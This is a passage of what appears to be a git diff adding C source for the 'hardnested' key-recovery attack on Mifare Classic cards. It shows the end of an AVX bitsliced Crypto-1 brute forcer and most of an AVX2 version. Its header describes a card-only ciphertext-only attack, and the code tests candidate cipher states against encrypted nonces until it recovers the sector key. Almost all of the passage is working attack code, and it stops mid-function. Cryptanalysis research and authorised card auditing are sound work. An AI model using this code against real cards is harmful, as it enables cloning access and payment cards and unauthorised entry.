uint64_t crack_states_bitsliced_AVX(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
|
||||||
|
|
||||||
|
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
|
||||||
|
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
|
||||||
|
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
|
||||||
|
// brute forcing (including roll back).
|
||||||
|
|
||||||
|
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
|
||||||
|
bitslice_t * restrict state_p;
|
||||||
|
uint64_t key = -1;
|
||||||
|
uint64_t bucket_states_tested = 0;
|
||||||
|
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
|
||||||
|
uint32_t bitsliced_blocks = 0;
|
||||||
|
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
|
||||||
|
|
||||||
|
// constant ones/zeroes
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice all the even states
|
||||||
|
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
|
||||||
|
if (bitsliced_even_states == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
|
||||||
|
if (bitsliced_even_feedback == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
|
||||||
|
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
|
||||||
|
if (lstate_p == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting... \n");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
|
||||||
|
// bitslice even half-states
|
||||||
|
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
|
||||||
|
bucket_size[bitsliced_blocks] = max_slices;
|
||||||
|
uint32_t slice_idx;
|
||||||
|
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even + slice_idx);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// padding with last even state
|
||||||
|
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even_end - 1);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
bitsliced_even_states[bitsliced_blocks] = lstate_p;
|
||||||
|
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
|
||||||
|
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
|
||||||
|
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
|
||||||
|
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
|
||||||
|
bitsliced_blocks++;
|
||||||
|
}
|
||||||
|
// bitslice every odd state to every block of even states
|
||||||
|
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
|
||||||
|
// early abort
|
||||||
|
if (*keys_found) {
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
|
||||||
|
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
uint32_t o = *p_odd;
|
||||||
|
|
||||||
|
// pre-compute the odd feedback bit
|
||||||
|
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
|
||||||
|
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
|
||||||
|
|
||||||
|
// set odd state bits
|
||||||
|
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
|
||||||
|
if (o & 1) {
|
||||||
|
state_p[state_idx] = bs_ones;
|
||||||
|
} else {
|
||||||
|
state_p[state_idx] = bs_zeroes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bitslice_value_t crypto1_bs_f20b_2[16];
|
||||||
|
bitslice_value_t crypto1_bs_f20b_3[8];
|
||||||
|
|
||||||
|
crypto1_bs_f20b_2[0] = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_3[0] = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
|
||||||
|
bitslice_value_t ksb[8];
|
||||||
|
ksb[0] = f20c(f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value),
|
||||||
|
f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value),
|
||||||
|
crypto1_bs_f20b_2[0],
|
||||||
|
f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value),
|
||||||
|
crypto1_bs_f20b_3[0]);
|
||||||
|
|
||||||
|
uint32_t * restrict p_even = p->states[EVEN_STATE];
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx, p_even += MAX_BITSLICES) {
|
||||||
|
// add the even state bits
|
||||||
|
const bitslice_t * restrict bitsliced_even_state = bitsliced_even_states[block_idx];
|
||||||
|
for (uint32_t state_idx = 1; state_idx < STATE_SIZE; state_idx += 2) {
|
||||||
|
state_p[state_idx] = bitsliced_even_state[state_idx / 2];
|
||||||
|
}
|
||||||
|
|
||||||
|
// pre-compute first feedback bit vector. This is the same for all nonces
|
||||||
|
bitslice_value_t fbb[8];
|
||||||
|
fbb[0] = odd_feedback ^ bitsliced_even_feedback[block_idx];
|
||||||
|
|
||||||
|
// vector to contain test results (1 = passed, 0 = failed)
|
||||||
|
bitslice_t results = bs_ones;
|
||||||
|
|
||||||
|
// parity_bits
|
||||||
|
bitslice_value_t par[8];
|
||||||
|
par[0] = bs_zeroes.value;
|
||||||
|
uint32_t next_common_bits = 0;
|
||||||
|
|
||||||
|
for (uint32_t tests = 0; tests < nonces_to_bruteforce; ++tests) {
|
||||||
|
// common bits with preceding test nonce
|
||||||
|
uint32_t common_bits = next_common_bits; //tests ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests-1]) : 0;
|
||||||
|
next_common_bits = tests < nonces_to_bruteforce - 1 ? trailing_zeros(bf_test_nonce_2nd_byte[tests] ^ bf_test_nonce_2nd_byte[tests + 1]) : 0;
|
||||||
|
uint32_t parity_bit_idx = 1; // start checking with the parity of second nonce byte
|
||||||
|
bitslice_value_t fb_bits = fbb[common_bits]; // start with precomputed feedback bits from previous nonce
|
||||||
|
bitslice_value_t ks_bits = ksb[common_bits]; // dito for first keystream bits
|
||||||
|
bitslice_value_t parity_bit_vector = par[common_bits]; // dito for first parity vector
|
||||||
|
// bitslice_value_t fb_bits = fbb[0]; // start with precomputed feedback bits from previous nonce
|
||||||
|
// bitslice_value_t ks_bits = ksb[0]; // dito for first keystream bits
|
||||||
|
// bitslice_value_t parity_bit_vector = par[0]; // dito for first parity vector
|
||||||
|
state_p -= common_bits; // and reuse the already calculated state bits
|
||||||
|
// highest bit is transmitted/received first. We start with Bit 23 (highest bit of second nonce byte),
|
||||||
|
// or the highest bit which differs from the previous nonce
|
||||||
|
for (int32_t ks_idx = KEYSTREAM_SIZE - 1 - common_bits; ks_idx >= 0; --ks_idx) {
|
||||||
|
|
||||||
|
// decrypt nonce bits
|
||||||
|
const bitslice_value_t encrypted_nonce_bit_vector = bitsliced_encrypted_nonces[tests][ks_idx].value;
|
||||||
|
const bitslice_value_t decrypted_nonce_bit_vector = encrypted_nonce_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compute real parity bits on the fly
|
||||||
|
parity_bit_vector ^= decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update state
|
||||||
|
state_p--;
|
||||||
|
state_p[0].value = fb_bits ^ decrypted_nonce_bit_vector;
|
||||||
|
|
||||||
|
// update crypto1 subfunctions
|
||||||
|
bitslice_value_t f20a_1, f20b_1, f20b_2, f20a_2, f20b_3;
|
||||||
|
f20a_2 = f20a(state_p[47 - 33].value, state_p[47 - 35].value, state_p[47 - 37].value, state_p[47 - 39].value);
|
||||||
|
f20b_3 = f20b(state_p[47 - 41].value, state_p[47 - 43].value, state_p[47 - 45].value, state_p[47 - 47].value);
|
||||||
|
if (ks_idx > KEYSTREAM_SIZE - 8) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx] = f20b_3;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 16) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx] = f20b_2;
|
||||||
|
} else if (ks_idx > KEYSTREAM_SIZE - 24) {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = crypto1_bs_f20b_2[KEYSTREAM_SIZE - ks_idx - 8];
|
||||||
|
f20b_2 = crypto1_bs_f20b_3[KEYSTREAM_SIZE - ks_idx - 16];
|
||||||
|
} else {
|
||||||
|
f20a_1 = f20a(state_p[47 - 9].value, state_p[47 - 11].value, state_p[47 - 13].value, state_p[47 - 15].value);
|
||||||
|
f20b_1 = f20b(state_p[47 - 17].value, state_p[47 - 19].value, state_p[47 - 21].value, state_p[47 - 23].value);
|
||||||
|
f20b_2 = f20b(state_p[47 - 25].value, state_p[47 - 27].value, state_p[47 - 29].value, state_p[47 - 31].value);
|
||||||
|
}
|
||||||
|
// update keystream bit
|
||||||
|
ks_bits = f20c(f20a_1, f20b_1, f20b_2, f20a_2, f20b_3);
|
||||||
|
|
||||||
|
// for each completed byte:
|
||||||
|
if ((ks_idx & 0x07) == 0) {
|
||||||
|
// get encrypted parity bits
|
||||||
|
const bitslice_value_t encrypted_parity_bit_vector = bitsliced_encrypted_parity_bits[tests][parity_bit_idx++].value;
|
||||||
|
|
||||||
|
// decrypt parity bits
|
||||||
|
const bitslice_value_t decrypted_parity_bit_vector = encrypted_parity_bit_vector ^ ks_bits;
|
||||||
|
|
||||||
|
// compare actual parity bits with decrypted parity bits and take count in results vector
|
||||||
|
results.value &= ~parity_bit_vector ^ decrypted_parity_bit_vector;
|
||||||
|
|
||||||
|
// make sure we still have a match in our set
|
||||||
|
// if(memcmp(&results, &bs_zeroes, sizeof(bitslice_t)) == 0){
|
||||||
|
|
||||||
|
// this is much faster on my gcc, because somehow a memcmp needlessly spills/fills all the xmm registers to/from the stack - ???
|
||||||
|
// the short-circuiting also helps
|
||||||
|
if (results.bytes64[0] == 0 && results.bytes64[1] == 0) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
// prepare for next nonce byte
|
||||||
|
parity_bit_vector = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
// update feedback bit vector
|
||||||
|
if (ks_idx != 0) {
|
||||||
|
fb_bits =
|
||||||
|
(state_p[47 - 0].value ^ state_p[47 - 5].value ^ state_p[47 - 9].value ^
|
||||||
|
state_p[47 - 10].value ^ state_p[47 - 12].value ^ state_p[47 - 14].value ^
|
||||||
|
state_p[47 - 15].value ^ state_p[47 - 17].value ^ state_p[47 - 19].value ^
|
||||||
|
state_p[47 - 24].value ^ state_p[47 - 25].value ^ state_p[47 - 27].value ^
|
||||||
|
state_p[47 - 29].value ^ state_p[47 - 35].value ^ state_p[47 - 39].value ^
|
||||||
|
state_p[47 - 41].value ^ state_p[47 - 42].value ^ state_p[47 - 43].value);
|
||||||
|
}
|
||||||
|
// remember feedback and keystream vectors for later use
|
||||||
|
uint8_t bit = KEYSTREAM_SIZE - ks_idx;
|
||||||
|
if (bit <= next_common_bits) { // if needed and not yet stored
|
||||||
|
fbb[bit] = fb_bits;
|
||||||
|
ksb[bit] = ks_bits;
|
||||||
|
par[bit] = parity_bit_vector;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// prepare for next nonce. Revert to initial state
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
}
|
||||||
|
|
||||||
|
// all nonce tests were successful: we've found a possible key in this block!
|
||||||
|
uint32_t *p_even_test = p_even;
|
||||||
|
for (uint32_t results_word = 0; results_word < MAX_BITSLICES / 64; ++results_word) {
|
||||||
|
uint64_t results64 = results.bytes64[results_word];
|
||||||
|
for (uint32_t results_bit = 0; results_bit < 64; results_bit++) {
|
||||||
|
if (results64 & 0x01) {
|
||||||
|
if (verify_key(cuid, nonces, best_first_bytes, *p_odd, *p_even_test)) {
|
||||||
|
struct Crypto1State pcs;
|
||||||
|
pcs.odd = *p_odd;
|
||||||
|
pcs.even = *p_even_test;
|
||||||
|
lfsr_rollback_byte(&pcs, (cuid >> 24) ^ best_first_bytes[0], true);
|
||||||
|
crypto1_get_lfsr(&pcs, &key);
|
||||||
|
bucket_states_tested += 64 * results_word + results_bit;
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
results64 >>= 1;
|
||||||
|
p_even_test++;
|
||||||
|
if (p_even_test == p_even_end) {
|
||||||
|
goto stop_tests;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
stop_tests:
|
||||||
|
bucket_states_tested += bucket_size[block_idx];
|
||||||
|
// prepare to set new states
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out:
|
||||||
|
for (uint32_t block_idx = 0; block_idx < bitsliced_blocks; ++block_idx) {
|
||||||
|
free_bitslice(bitsliced_even_states[block_idx]);
|
||||||
|
}
|
||||||
|
free(bitsliced_even_states);
|
||||||
|
free_bitslice(bitsliced_even_feedback);
|
||||||
|
__sync_fetch_and_add(num_keys_tested, bucket_states_tested);
|
||||||
|
return key;
|
||||||
|
}
|
||||||
405
src/hardnested/hardnested_bf_core_AVX2.c
Normal file
405
src/hardnested/hardnested_bf_core_AVX2.c
Normal file
@ -0,0 +1,405 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2016, 2017 by piwi
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Implements a card only attack based on crypto text (encrypted nonces
|
||||||
|
// received during a nested authentication) only. Unlike other card only
|
||||||
|
// attacks this doesn't rely on implementation errors but only on the
|
||||||
|
// inherent weaknesses of the crypto1 cypher. Described in
|
||||||
|
// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
|
||||||
|
// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
|
||||||
|
// Computer and Communications Security, 2015
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
//
|
||||||
|
// brute forcing is based on @aczids bitsliced brute forcer
|
||||||
|
// https://github.com/aczid/crypto1_bs with some modifications. Mainly:
|
||||||
|
// - don't rollback. Start with 2nd byte of nonce instead
|
||||||
|
// - reuse results of filter subfunctions
|
||||||
|
// - reuse results of previous nonces if some first bits are identical
|
||||||
|
//
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// aczid's Copyright notice:
|
||||||
|
//
|
||||||
|
// Bit-sliced Crypto-1 brute-forcing implementation
|
||||||
|
// Builds on the data structures returned by CraptEV1 craptev1_get_space(nonces, threshold, uid)
|
||||||
|
/*
|
||||||
|
Copyright (c) 2015-2016 Aram Verstegen
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "hardnested_bruteforce.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#if !defined _MSC_VER && !defined __APPLE__
|
||||||
|
#include <malloc.h>
|
||||||
|
#endif
|
||||||
|
#include "../crapto1.h"
|
||||||
|
#include "../parity.h"
|
||||||
|
|
||||||
|
#define MAX_BITSLICES 256
|
||||||
|
|
||||||
|
#define VECTOR_SIZE (MAX_BITSLICES/8)
|
||||||
|
typedef uint32_t __attribute__((aligned(VECTOR_SIZE))) __attribute__((vector_size(VECTOR_SIZE))) bitslice_value_t;
|
||||||
|
|
||||||
|
typedef union {
|
||||||
|
bitslice_value_t value;
|
||||||
|
uint64_t bytes64[MAX_BITSLICES / 64];
|
||||||
|
uint8_t bytes[MAX_BITSLICES / 8];
|
||||||
|
} bitslice_t;
|
||||||
|
|
||||||
|
// filter function (f20)
|
||||||
|
// sourced from ``Wirelessly Pickpocketing a Mifare Classic Card'' by Flavio Garcia, Peter van Rossum, Roel Verdult and Ronny Wichers Schreur
|
||||||
|
#define f20a(a,b,c,d) (((a|b)^(a&d))^(c&((a^b)|d)))
|
||||||
|
#define f20b(a,b,c,d) (((a&b)|c)^((a^b)&(c|d)))
|
||||||
|
#define f20c(a,b,c,d,e) ((a|((b|e)&(d^e)))^((a^(b&d))&((c^d)|(b&e))))
|
||||||
|
|
||||||
|
// bit indexing
|
||||||
|
#define get_bit(n, word) (((word) >> (n)) & 1)
|
||||||
|
#define get_vector_bit(slice, value) get_bit((slice)&0x3f, value.bytes64[(slice)>>6])
|
||||||
|
|
||||||
|
// size of crypto-1 state
|
||||||
|
#define STATE_SIZE 48
|
||||||
|
// size of nonce to be decrypted
|
||||||
|
#define KEYSTREAM_SIZE 24
|
||||||
|
|
||||||
|
// endianness conversion
|
||||||
|
#define rev32(word) ((((word) & 0xff) << 24) | ((((word) >> 8) & 0xff) << 16) | ((((word) >> 16) & 0xff) << 8) | ((((word) >> 24) & 0xff)))
|
||||||
|
|
||||||
|
#if defined (_WIN32)
|
||||||
|
#define malloc_bitslice(x) __builtin_assume_aligned(_aligned_malloc((x), MAX_BITSLICES/8), MAX_BITSLICES/8)
|
||||||
|
#define free_bitslice(x) _aligned_free(x)
|
||||||
|
#elif defined (__APPLE__)
|
||||||
|
|
||||||
|
static void *malloc_bitslice(size_t x) {
|
||||||
|
char *allocated_memory;
|
||||||
|
if (posix_memalign((void**) &allocated_memory, MAX_BITSLICES / 8, x)) {
|
||||||
|
return NULL;
|
||||||
|
} else {
|
||||||
|
return __builtin_assume_aligned(allocated_memory, MAX_BITSLICES / 8);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
#else
|
||||||
|
#define malloc_bitslice(x) memalign(MAX_BITSLICES/8, (x))
|
||||||
|
#define free_bitslice(x) free(x)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// arrays of bitsliced states with identical values in all slices
|
||||||
|
static bitslice_t bitsliced_encrypted_nonces[256][KEYSTREAM_SIZE];
|
||||||
|
static bitslice_t bitsliced_encrypted_parity_bits[256][4];
|
||||||
|
// 1 and 0 vectors
|
||||||
|
static bitslice_t bs_ones;
|
||||||
|
static bitslice_t bs_zeroes;
|
||||||
|
|
||||||
|
void bitslice_test_nonces_AVX2(uint32_t nonces_to_bruteforce, uint32_t *bf_test_nonce, uint8_t *bf_test_nonce_par) {
|
||||||
|
|
||||||
|
// initialize 1 and 0 vectors
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice nonces' 2nd to 4th byte
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < KEYSTREAM_SIZE; bit_idx++) {
|
||||||
|
bool bit = get_bit(KEYSTREAM_SIZE - 1 - bit_idx, rev32(bf_test_nonce[i] << 8));
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_nonces[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// bitslice nonces' parity (4 bits)
|
||||||
|
for (uint32_t i = 0; i < nonces_to_bruteforce; i++) {
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < 4; bit_idx++) {
|
||||||
|
bool bit = get_bit(4 - 1 - bit_idx, bf_test_nonce_par[i]);
|
||||||
|
if (bit) {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_ones.value;
|
||||||
|
} else {
|
||||||
|
bitsliced_encrypted_parity_bits[i][bit_idx].value = bs_zeroes.value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t crack_states_bitsliced_AVX2(uint32_t cuid, uint8_t *best_first_bytes, statelist_t *p, uint32_t *keys_found, uint64_t *num_keys_tested, uint32_t nonces_to_bruteforce, uint8_t *bf_test_nonce_2nd_byte, noncelist_t *nonces) {
|
||||||
|
|
||||||
|
// Unlike aczid's implementation this doesn't roll back at all when performing bitsliced bruteforce.
|
||||||
|
// We know that the best first byte is already shifted in. Testing with the remaining three bytes of
|
||||||
|
// the nonces is sufficient to eliminate most of them. The small rest is tested with a simple unsliced
|
||||||
|
// brute forcing (including roll back).
|
||||||
|
|
||||||
|
bitslice_t states[KEYSTREAM_SIZE + STATE_SIZE];
|
||||||
|
bitslice_t * restrict state_p;
|
||||||
|
uint64_t key = -1;
|
||||||
|
uint64_t bucket_states_tested = 0;
|
||||||
|
uint32_t bucket_size[(p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1];
|
||||||
|
uint32_t bitsliced_blocks = 0;
|
||||||
|
uint32_t const *restrict p_even_end = p->states[EVEN_STATE] + p->len[EVEN_STATE];
|
||||||
|
|
||||||
|
// constant ones/zeroes
|
||||||
|
memset(bs_ones.bytes, 0xff, VECTOR_SIZE);
|
||||||
|
memset(bs_zeroes.bytes, 0x00, VECTOR_SIZE);
|
||||||
|
|
||||||
|
// bitslice all the even states
|
||||||
|
bitslice_t * * restrict bitsliced_even_states = (bitslice_t **) malloc(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_t *));
|
||||||
|
if (bitsliced_even_states == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
bitslice_value_t * restrict bitsliced_even_feedback = malloc_bitslice(((p->len[EVEN_STATE] - 1) / MAX_BITSLICES + 1) * sizeof (bitslice_value_t));
|
||||||
|
if (bitsliced_even_feedback == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting...");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
for (uint32_t * restrict p_even = p->states[EVEN_STATE]; p_even < p_even_end; p_even += MAX_BITSLICES) {
|
||||||
|
bitslice_t * restrict lstate_p = malloc_bitslice(STATE_SIZE / 2 * sizeof (bitslice_t));
|
||||||
|
if (lstate_p == NULL) {
|
||||||
|
printf("Out of memory error in brute_force. Aborting... \n");
|
||||||
|
exit(4);
|
||||||
|
}
|
||||||
|
memset(lstate_p, 0x00, STATE_SIZE / 2 * sizeof (bitslice_t)); // zero even bits
|
||||||
|
// bitslice even half-states
|
||||||
|
const uint32_t max_slices = (p_even_end - p_even) < MAX_BITSLICES ? p_even_end - p_even : MAX_BITSLICES;
|
||||||
|
bucket_size[bitsliced_blocks] = max_slices;
|
||||||
|
uint32_t slice_idx;
|
||||||
|
for (slice_idx = 0; slice_idx < max_slices; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even + slice_idx);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// padding with last even state
|
||||||
|
for (; slice_idx < MAX_BITSLICES; ++slice_idx) {
|
||||||
|
uint32_t e = *(p_even_end - 1);
|
||||||
|
for (uint32_t bit_idx = 0; bit_idx < STATE_SIZE / 2; bit_idx++, e >>= 1) {
|
||||||
|
// set even bits
|
||||||
|
if (e & 1) {
|
||||||
|
lstate_p[bit_idx].bytes64[slice_idx >> 6] |= 1ull << (slice_idx & 0x3f);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
bitsliced_even_states[bitsliced_blocks] = lstate_p;
|
||||||
|
// bitsliced_even_feedback[bitsliced_blocks] = bs_ones;
|
||||||
|
bitsliced_even_feedback[bitsliced_blocks] = lstate_p[(47 - 0) / 2].value ^
|
||||||
|
lstate_p[(47 - 10) / 2].value ^ lstate_p[(47 - 12) / 2].value ^ lstate_p[(47 - 14) / 2].value ^
|
||||||
|
lstate_p[(47 - 24) / 2].value ^ lstate_p[(47 - 42) / 2].value;
|
||||||
|
bitsliced_blocks++;
|
||||||
|
}
|
||||||
|
// bitslice every odd state to every block of even states
|
||||||
|
for (uint32_t const *restrict p_odd = p->states[ODD_STATE]; p_odd < p->states[ODD_STATE] + p->len[ODD_STATE]; ++p_odd) {
|
||||||
|
// early abort
|
||||||
|
if (*keys_found) {
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// set odd state bits and pre-compute first keystream bit vector. This is the same for all blocks of even states
|
||||||
|
|
||||||
|
state_p = &states[KEYSTREAM_SIZE];
|
||||||
|
uint32_t o = *p_odd;
|
||||||
|
|
||||||
|
// pre-compute the odd feedback bit
|
||||||
|
bool odd_feedback_bit = evenparity32(o & 0x29ce5c);
|
||||||
|
const bitslice_value_t odd_feedback = odd_feedback_bit ? bs_ones.value : bs_zeroes.value;
|
||||||
|
|
||||||
|
// set odd state bits
|
||||||
|
for (uint32_t state_idx = 0; state_idx < STATE_SIZE; o >>= 1, state_idx += 2) {
|
||||||
|
if (o & 1) {
|
||||||
|
state_p[state_idx] = bs_ones;
|
||||||
|
} else {
|
||||||
|
state_p[state_idx] = bs_zeroes;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bitslice_value_t crypto1_bs_f20b_2[16];
|
||||||
|
